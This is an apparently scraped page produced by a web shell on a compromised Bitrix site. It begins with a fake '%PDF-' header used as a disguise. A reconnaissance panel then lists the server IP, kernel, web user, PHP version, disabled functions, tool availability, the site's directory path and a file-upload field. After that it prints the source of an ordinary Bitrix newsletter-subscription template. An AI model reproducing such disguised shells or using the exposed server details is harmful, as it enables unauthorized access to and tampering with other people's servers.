%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.147.238.1 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/templates/artlot24_copy/components/bitrix/subscribe.simple/.default/ |
Upload File : |
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die(); /** @var array $arParams */ /** @var array $arResult */ /** @global CMain $APPLICATION */ /** @global CUser $USER */ /** @global CDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ ?> <?if(count($arResult["ERRORS"]) > 0):?> <?foreach($arResult["ERRORS"] as $strError):?> <p class="errortext"><?echo $strError?></p> <?endforeach?> <?$this->setFrameMode(false);?> <?elseif(count($arResult["RUBRICS"]) <= 0):?> <p class="errortext"><?echo GetMessage("CT_BSS_NO_RUBRICS_FOUND")?></p> <?$this->setFrameMode(false);?> <?else:?> <?$frame=$this->createFrame()->begin();?> <?if($arResult["MESSAGE"]):?> <p class="notetext"><?echo $arResult["MESSAGE"]?></p> <?endif?> <form method="POST" action="<?echo $arResult["FORM_ACTION"]?>"> <div class="row"> <?foreach($arResult["RUBRICS"] as $arRubric):?> <div style=" width: 100%; "> <input name="RUB_ID[]" value="<?echo $arRubric["ID"]?>" id="RUB_<?echo $arRubric["ID"]?>" type="checkbox" <?if($arRubric["CHECKED"]) echo "checked";?> class="checkbox"><label for="RUB_<?echo $arRubric["ID"]?>"><?echo $arRubric["NAME"]?></label> </div> <?endforeach?> <?/* <br> <input name="FORMAT" value="text" id="FORMAT_text" type="radio" <?if($arResult["FORMAT"] === "text") echo "checked";?>><label for="FORMAT_text"><?echo GetMessage("CT_BSS_TEXT")?></label> / <input name="FORMAT" value="html" id="FORMAT_html" type="radio" <?if($arResult["FORMAT"] === "html") echo "checked";?>><label for="FORMAT_html"><?echo GetMessage("CT_BSS_HTML")?></label> */?> </div> <div class="row"> <?echo bitrix_sessid_post();?> <input type="submit" name="Update" value="<?echo GetMessage("CT_BSS_FORM_BUTTON")?>"> </div> </div> </form> <?$frame->beginStub();?> <form method="POST" action="<?echo $arResult["FORM_ACTION"]?>"> <table class="data-table"> <tbody> <tr> <td> <?foreach($arResult["RUBRICS"] as $arRubric):?> <input name="RUB_ID[]" value="<?echo $arRubric["ID"]?>" id="RUB_<?echo $arRubric["ID"]?>" type="checkbox"><label for="RUB_<?echo $arRubric["ID"]?>"><?echo $arRubric["NAME"]?></label><br> <?endforeach?> <br> <input name="FORMAT" value="text" id="FORMAT_text" type="radio"><label for="FORMAT_text"><?echo GetMessage("CT_BSS_TEXT")?></label> / <input name="FORMAT" value="html" id="FORMAT_html" type="radio"><label for="FORMAT_html"><?echo GetMessage("CT_BSS_HTML")?></label> </td> </tr> </tbody> <tfoot> <tr> <td> <input type="submit" name="Update" value="<?echo GetMessage("CT_BSS_FORM_BUTTON")?>"> </td> </tr> </tfoot> </table> </form> <?$frame->end();?> <?endif?>